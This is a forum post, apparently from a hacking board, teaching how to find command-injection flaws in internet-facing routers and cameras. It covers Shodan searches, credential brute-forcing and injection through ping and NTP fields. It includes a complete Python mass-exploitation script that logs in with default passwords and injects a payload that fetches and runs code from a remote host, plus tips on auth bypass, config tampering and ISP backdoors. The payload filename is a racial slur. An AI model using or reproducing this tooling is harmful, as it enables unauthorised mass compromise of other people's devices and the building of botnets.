Finding RCE\0day In IOT

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
I'll show you how to find RCE\0day,
firstly what you're going to need :

Shodan account,
Burpsuite
VPS
A brain (obviously)

Firstly, we need to find dorks. You can do this easily, on shodan, first we will search for : Cameras\DVR\NVR\Routers.
We can use shodan, filter by, country, port, http.title:, http.status etc.
For exanple:
1653414174718.png


Now, we are going to Lookup the device, try search for previous disclosed vulnerablities. If there are none, we can happily go on =D

Now, first, we are going to try and access the web interface, of the device. Here, we can use a custom written tool by me, which will brute the passwords of the devices.

Installation steps:

apt-get install golang-go -y
go build http_digest.go
chmod +x http_digest.go


we will also need a list of passwords split by : , called logins.txt. For the sake of this tutorial, its going to just be like this

1653414774233.png



now, from shodan, we can do a facet report of top ports, we will pick any with a good amount of count.

1653414268255.png




In, this case we will search 80 (just for an example)
now, Either you cat or zmap with the tool, in my case we will use cat.
First we will download, the list of devices with port 80 open from shodan by
pip install shodan
shodan init APIKEY
shodan download --limit -1 ips.json.gz '"your query"'
shodan parse --fields ip_str,port --separator ":" ips.json.gz > ip.txt


ulimit -n 999999; ulimit -u 999999;cat ip.txt |./http_digest 80 http 0
this is in the format of port http 0 - brute, 1 - rce

this is what the output would look like

1653414883443.png



You can see, it has started bruting, soon we will get access to the device panel.

Here, we get one
1653414959154.png



Once we have access to the web panel, we will search for places, where we can input any value. For Example
NTP, FTP, Ping.
Example of FTP rce:

1653416885272.png



NTP:
1653414976483.png


Well, here i've found NTP. There is an option to set a manual NTP server. We will edit this.

But first, on our VPS, we will need to check, if the command works.
apt-get install apache2 -y
service apache2 start

we will then execute

tail -f /var/log/apache2/access.log

to monitor, if we get a connection.

Now, in the prompt, we must know the basics of command injection, that is, we can use $() ; ` etc, to execute a command in a *NIX based system.
So, first we will try $(),


We will see if we get a request, to the command will be $(wget http://ip/test)
This is the request from Burpsuite
1653417097921.png



we see, nothing popped up in access log, we will try the next method ;wget http://ip/test

On execution, we see, nothing pops up. which means, there is no way to execute a remote command here.
Now, we will search another place, where we can input.


Here, in diagnostics, we find ping. we repeat the same steps here
1653415184844.png




We will execute ;ps just to check, if there is rce
and just like that, we have found a rce.
1653415208743.png


and the output is

Код с оформлением (BB-коды): Скопировать в буфер обмена
Код:
  PID USER       VSZ STAT COMMAND
    1 root      1008 S    init
    2 root         0 SW   [kthreadd]
    3 root         0 SW<  [ksoftirqd/0]
    4 root         0 SW   [kworker/0:0]
    5 root         0 SW<  [kworker/0:0H]
    6 root         0 SW   [kworker/u2:0]
    7 root         0 SW<  [khelper]
    8 root         0 SW   [kworker/u2:1]
   84 root         0 SW<  [writeback]
   87 root         0 SW<  [bioset]
   88 root         0 SW<  [crypto]
   90 root         0 SW<  [kblockd]
   93 root         0 SW   [spi0]
  110 root         0 SW   [kworker/0:1]
  115 root         0 SW   [kswapd0]
  722 root         0 SW   [mtdblock0]
  727 root         0 SW   [mtdblock1]
  732 root         0 SW   [mtdblock2]
  737 root         0 SW   [mtdblock3]
  742 root         0 SW   [mtdblock4]
  798 root         0 SW<  [deferwq]
 1077 root      1312 S    udhcpd /var/udhcpd.conf
 1095 root       768 S    iapp br0 wlan0 wlan1
 1106 root      1152 S    wscd -start -c /var/wscd-wlan0-wlan1.conf -w wlan0 -w
 1109 root       800 S    iwcontrol wlan0 wlan1
 1342 root      1360 S    ppp_inet -t 3 -c 0 -x
 1348 root       768 S    reload -k /var/wlsch.conf
 1350 root       880 S    lld2d br0
 1352 root         0 SW<  [kworker/0:1H]
 1368 root       864 S    dnsmasq -C /var/dnsmasq.conf -O eth1
 1383 root       256 S    fwd
 1387 root      1488 S    timelycheck
 1393 root       768 S <  watchdog 1000
 1402 root      1936 S    boa
 1404 root      1024 S    -/bin/sh
 1407 root      1456 S    pppd
 1425 root       816 S    /bin/mldproxy ppp0 br0 -D
 1437 root       816 S    dnrd --cache=off -s 45.227.76.22 -s 45.227.79.22
 1444 root       800 S    /bin/igmpproxy ppp0 br0 -D
 5596 root      1008 R    ps
 8402 root       356 S   sh -c /bin/ping -c 1 -W 2 1.1.1.1 > tmp/pingOth
 8403 root       356 S   /bin/ping -c 1 -W 2 1.1.1.1
 7350 root       356 S   sh -c /bin/echo "$(tftp -g -r test -l /tmp/a )" > /tmp/nigger
 7351 root       356 S   tftp -g -r test -l /tmp/a
7351 is being held until 7350 finishes, but it will never finish because 7351 never starts. We are in "" so $() is our only option unless we escape it somehow
$(echo > a ; ) would work
thus, we can execute $(wget http://ip/test)


and we see, we get a call back. which means the target is vulnerable. In this case, i found it easier to just execute the command in adduser part. (a story for a different day)



Now, we will write a mass scanner for it.

First, we will capture the login request
we, will then use urllib and parse this login request

Python: Скопировать в буфер обмена
Код:
def attempt_login(response, target, username, password):
    response[0] = None

    try:
        req = urllib2.Request("http://{}/login".format(target))

        req.add_header("Connection", "keep-alive")
        req.add_header("Cache-Control", "max-age=0")
        req.add_header("Upgrade-Insecure-Requests", "1")
        req.add_header("Origin", "http://{}".format(target))
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Edg/93.0.961.52")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
        req.add_header("Referer", "http://{}/".format(target))
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Accept-Language", "en-US,en;q=0.9")

        body = "username={}&password={}".format(username, password)

        response[0] = urllib2.urlopen(req, body)

    except urllib2.URLError, e:
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False

    return True
this function is going to attempt to login, to the router.

Next step, is to send the RCE Request.
Python: Скопировать в буфер обмена
Код:
def exploit(response, target, session_key, exploit_key):
    response[0] = None

    try:
        req = urllib2.Request("http://{t}/storageuseraccountcfg.cmd?action=add&userName={eu}&Password=%24({p})&volumeName=%24({p})&sessionKey={e}".format(t = target, p = payload, e = exploit_key, eu=exploit_username))

        req.add_header("Upgrade-Insecure-Requests", "1")
        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Edg/93.0.961.52")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
        req.add_header("Referer", "http://{}/storageusraccadd.html".format(target))
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Accept-Language", "en-US,en;q=0.9")
        req.add_header("Cookie", "SESSIONID={}".format(session_key))

        response[0] = urllib2.urlopen(req)

    except urllib2.URLError, e:
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False

    return True


Full Code :
Python: Скопировать в буфер обмена
Код:
import re
import os.path
import urllib2
import base64
import gzip
import zlib
from StringIO import StringIO
from io import BytesIO
from threading import Thread
import time
import struct
import random

#ftp only
payload = "ftpget%201.3.3.7%20-%20nigger%20|%20sh"

def random_id(length):
    number = '0123456789'
    alpha = 'abcdefghijklmnopqrstuvwxyz'
    id = ''
    for i in range(0,length,2):
        id += random.choice(number)
        id += random.choice(alpha)
    return id

exploit_username = random_id(5)

cred_list = [
    ["user", "user"],
    ["user", "1234"],
    ["admin", "admin"],
    ["admin", "password"],
]

def _strip(buffer):
    buffer_len = len(buffer)
    i = 0
    ret = ""

    while True:
        if (i >= buffer_len):
            break

        if (buffer[i] == '\n' or buffer[i] == '\r'):
            i += 1
            continue

        #if (buffer[i] == 0): # no null
        #    i += 1
        #    ret += "A"
        #    continue

        ret += buffer[i]

        i += 1

    return ret.rstrip()

def retrieve_session_key(f):
    return str(f).split("SESSIONID=")[1].split(";")[0]


def retrieve_exploit_key(f):
    return str(f).split("var sessionKey='")[1].split("'")[0]

c = 0
def make_requests(t):
    global c
    response = [None]
    session_key = "" #SESSIONID=cxzzM324lJi8TJFdWVpzLWCYLOxFkNOV
    exploit_key = "" #var sessionKey='139581974';

    for [username, password] in cred_list:

        if attempt_login(response, t, username, password):
            if "SESSIONID" in str(response[0].headers):
                session_key = retrieve_session_key(response[0].headers)
  
        if (len(session_key) == 0):
            continue
  
        break

    if (len(session_key) == 0):
        return
 

    print("Got session key '{}' for {} with {}:{} ({})".format(session_key, t, username, password,c)) 
 
    if (get_exploit_key(response, t, session_key)):
        ret = read_response(response[0])
        if "var sessionKey='" in ret:
            exploit_key = retrieve_exploit_key(ret)

    if len(exploit_key) != 0:
        c += 1

    print("Got exploit key '{}' for {} with {}:{} ({})".format(exploit_key, t, username, password, c)) 
 
    remove_exploit(response, t, session_key, exploit_key)
 
    if (get_exploit_key(response, t, session_key)):
        ret = read_response(response[0])
        if "var sessionKey='" in ret:
            exploit_key = retrieve_exploit_key(ret)

    if (exploit(response, t, session_key, exploit_key)):
        if exploit_username in read_response(response[0]):
            print("Exploit successful! {} with {}:{}".format(t, username, password)) 

    if (get_exploit_key(response, t, session_key)):
        ret = read_response(response[0])
        if "var sessionKey='" in ret:
            exploit_key = retrieve_exploit_key(ret)

    remove_exploit(response, t, session_key, exploit_key)

def read_response(response):
    if response.info().get('Content-Encoding') == 'gzip':
        buf = StringIO(response.read())
        return gzip.GzipFile(fileobj=buf).read()

    elif response.info().get('Content-Encoding') == 'deflate':
        decompress = zlib.decompressobj(-zlib.MAX_WBITS)
        inflated = decompress.decompress(response.read())
        inflated += decompress.flush()
        return inflated

    return response.read()
 




def attempt_login(response, target, username, password):
    response[0] = None

    try:
        req = urllib2.Request("http://{}/".format(target))

        req.add_header("Connection", "keep-alive")
        req.add_header("Cache-Control", "max-age=0")
        req.add_header("Upgrade-Insecure-Requests", "1")
        req.add_header("Origin", "http://{}".format(target))
        req.add_header("Content-Type", "application/x-www-form-urlencoded")
        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Edg/93.0.961.52")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
        req.add_header("Referer", "http://{}/".format(target))
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Accept-Language", "en-US,en;q=0.9")

        body = "username={}&password={}".format(username, password)

        response[0] = urllib2.urlopen(req, body)

    except urllib2.URLError, e:
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False

    return True

def get_exploit_key(response, target, session_key):
    response[0] = None

    try:
        req = urllib2.Request("http://{}/storageusraccadd.html".format(target))

        req.add_header("Connection", "keep-alive")
        req.add_header("Upgrade-Insecure-Requests", "1")
        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Edg/93.0.961.52")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Accept-Language", "en-US,en;q=0.9")
        req.add_header("Cookie", "SESSIONID={}".format(session_key))

        response[0] = urllib2.urlopen(req)

    except urllib2.URLError, e:
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False

    return True

def exploit(response, target, session_key, exploit_key):
    response[0] = None

    try:
        req = urllib2.Request("http://{t}/storageuseraccountcfg.cmd?action=add&userName={eu}&Password=%24({p})&volumeName=%24({p})&sessionKey={e}".format(t = target, p = payload, e = exploit_key, eu=exploit_username))

        req.add_header("Upgrade-Insecure-Requests", "1")
        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Edg/93.0.961.52")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
        req.add_header("Referer", "http://{}/storageusraccadd.html".format(target))
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Accept-Language", "en-US,en;q=0.9")
        req.add_header("Cookie", "SESSIONID={}".format(session_key))

        response[0] = urllib2.urlopen(req)

    except urllib2.URLError, e:
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False

    return True

def remove_exploit(response, target, session_key, exploit_key):
    response[0] = None

    try:
        req = urllib2.Request("http://{}/storageuseraccountcfg.cmd?action=remove&rmLst={},%20&sessionKey={}".format(target, exploit_username, exploit_key))

        req.add_header("Connection", "keep-alive")
        req.add_header("Upgrade-Insecure-Requests", "1")
        req.add_header("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36 Edg/93.0.961.52")
        req.add_header("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9")
        req.add_header("Referer", "http://{}/storageuseraccountcfg.cmd?view".format(target))
        req.add_header("Accept-Encoding", "gzip, deflate")
        req.add_header("Accept-Language", "en-US,en;q=0.9")
        req.add_header("Cookie", "SESSIONID={}".format(session_key))

        response[0] = urllib2.urlopen(req)

    except urllib2.URLError, e:
        if not hasattr(e, "code"):
            return False
        response[0] = e
    except:
        return False

    return True

# make_requests("ip:port") - to just exploit a single target

print("Using exploit username " + exploit_username)

for line in open("ips.txt").readlines():
    Thread(target = make_requests, args = (line.rstrip(),),).start()

Now we will look for a way to bypass authentication. The simplest way is to copy several different paths. (for example i login to a router with some default credential admin:admin, but many routers of same model wont have default pass, what to do? try copy many paths when ur logged in. ex http://ip/cgi-bin/ntpcfg.cgi, pingHost.cmd etc.)

If you are prompted with a login prompt, the device auth cant be exploited else if it doesnt prompt you with auth, you have found a auth bypass.

A good thing to know is 50% of the time the isp will have a backdoor, with the user being admin and the password being the last 4 octets of mac address.
Remember, always GET A CONFIG BACKUP (contains usernames, passwords and more)
with a config backup, we can escalate our priveleges. For example :
this is one router config, we can see that our user (test), it doesnt have priveleges to access the diagnostics

username="test" web_passwd="test"<ROMFILE> <Wan>
<Common ReConnect="1" LatestIFIdx="2" IPForwardModeEnable="No" />
<PVC0 Action="Modify" VLANID="1273" DOT1P="0" VLANMode="TAG"
ENCAP="1483 Bridged IP LLC" EPONEnable="Yes" GPONEnable="Yes"

we can parse this config by changing username and password to the admin user
like
username="admin" web_passwd="PWN3D"
and, then upload the config, we have succesfuly resetted the admin user password.

Now, say you didnt find rce in NTP PING FTP. Try find the firmware of the device, reverse it. Try and find where system() is being called. Once identified, say i find in this router system() is being called in add user, there you go is your rce

Another way to find rce is in the config. You can download config -> modify config -> reupload and rce or do a fake firmware upload resulting in rce. (this has to be last option as you can put the device in an infinite reboot lol)

Another way, try opening telnet or ssh ports, execute your command, close telnet and ssh. repeat.


one last thing, when you have no protected shell, be sure to list files in /bin/, usually some routers have no wget and curl? you will echo the payload as hex. same with busybox, sometime they wont have busybox wget/curl so you have to use busybox echo payload.

That is all it takes, to find RCE in ioT and weaponise it.

View hidden content is available for registered users!
 
Сверху Снизу